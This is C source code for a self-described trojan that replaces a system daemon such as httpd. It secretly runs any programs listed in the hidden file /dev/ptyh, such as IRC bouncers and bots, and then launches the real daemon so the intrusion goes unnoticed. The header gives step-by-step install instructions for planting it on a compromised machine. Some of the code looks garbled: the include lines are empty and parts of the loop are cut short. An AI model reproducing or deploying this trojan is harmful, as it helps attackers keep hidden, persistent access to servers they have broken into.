/* ......:::: daemon trojo by DeV^AwaY ::::...... * * * [*] --> coded by: DeV^AwaY * [*] ------------> devilnet@freemail.it * [*] ------------> ircnet/efnet@DeV^AwaY * [*] --> V3rsion: 0.2 * * install: * To install this trojan you should copy the real daemon in another * directory !WITH THE SOME NAME!. Then you should compile this source on the * real daemon file in its some directory. * So write in /dev/ptyh all path/commands to execute with * daemon. If you must use options with commands you must divide they * with the $ character. * Ex: * * cat /dev/ptyh * /home/hacker/. /psybnc <-- without options * /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options * /home/hacker/. $ <-- to run the file ". " * * Default * trojo daemon /usr/sbin/httpd * real deamon /usr/bin/httpd #EXE_PATH * */ #include #include #define TRJ_PATH "/dev/ptyh" #define EXE_PATH "/usr/bin/httpd" main (int argc,char **argv,char **envp) { char fstr[200],**addr=malloc(200),slas[500],slaw[500]; int i,ic=1,deic,sllen; FILE *ofile; if (fork() == 0) { if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0); while (!feof(ofile)) { fgets(fstr, 200, ofile); for (i=0; i/dev/null 2>/dev/null &"); system(addr[ic]); } exit(0); } if ((ofile=fopen(EXE_PATH,"r"))==NULL) { printf("bash: %s: No such file or directory\n",EXE_PATH); exit(0); } execve(EXE_PATH, argv, envp); }